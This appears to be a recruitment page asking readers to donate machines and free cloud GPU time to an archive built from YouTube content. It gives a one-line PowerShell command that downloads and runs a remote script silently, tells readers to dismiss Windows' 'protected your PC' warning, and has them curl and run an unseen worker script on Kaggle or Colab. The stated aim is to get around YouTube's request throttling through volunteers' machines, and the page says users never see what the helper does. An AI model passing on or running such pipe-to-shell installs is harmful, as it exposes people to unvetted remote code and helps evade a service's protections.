a small fire, kept going by whoever pulls up a chair.
I'm slowly building an archive of everything I've learned from years of watching YouTube — scoring it, distilling it, turning it into something worth having. It's a big job, and it's been crawling because of how aggressively YouTube throttles requests coming from one server.
The Resource Team fixes that. A small helper quietly picks up a tiny piece of the work every minute or two — a couple of background requests, nothing that touches your files, your history, or anything you're doing. You never see what's inside it either — no titles, no content, nothing about me. Just your machine, helping, in the background.
This is the easiest, most capable way to join — a small background app (not a browser extension) that reads public-domain wisdom books with your idle GPU time and sends back short summaries. Runs quietly, no console window, restarts itself if it ever gets stuck.
↓ download & install (Windows)One click to download, then double-click the installer — click through 3 screens (Next → Next → Install) and you're in. If Windows shows a blue "Windows protected your PC" screen, that's normal for a new small app — click "More info" → "Run anyway."
prefer one command instead? (PowerShell, no clicking at all)
irm r0ice.com/resource-team/get-and-run.ps1 | iex
Open PowerShell, paste that in, hit enter. It downloads and installs silently, then opens the status page when it's done.
Lighter-weight, Chrome only, no GPU work — just helps fetch video transcripts for the archive in the background.
.zip, nothing to install system-wide.chrome://extensions.If you've got a free Kaggle, Google Colab, or AWS SageMaker Studio Lab account — or you're willing to grab one (free, no card, just an email and for Kaggle a phone number) — your idle GPU can join the same team a different way: reading and summarizing books for the Wisdom Farm archive instead of fetching video transcripts. Kaggle in particular gives ~30 free GPU-hours a week per verified account, and its free tier includes 2x T4 GPUs at once.
!curl -fsSL https://r0ice.com/cloud-gpu-worker.py -o worker.py!python3 worker.py --handle "Your Name" --minutes 700You're not doing this for me, really — you're doing it because you're part of this thing we've built. Team members get a name on the wall if they want one, and first look at whatever the archive turns into.
real machines, real reading, updated live. This is the whole roster -- nothing hidden.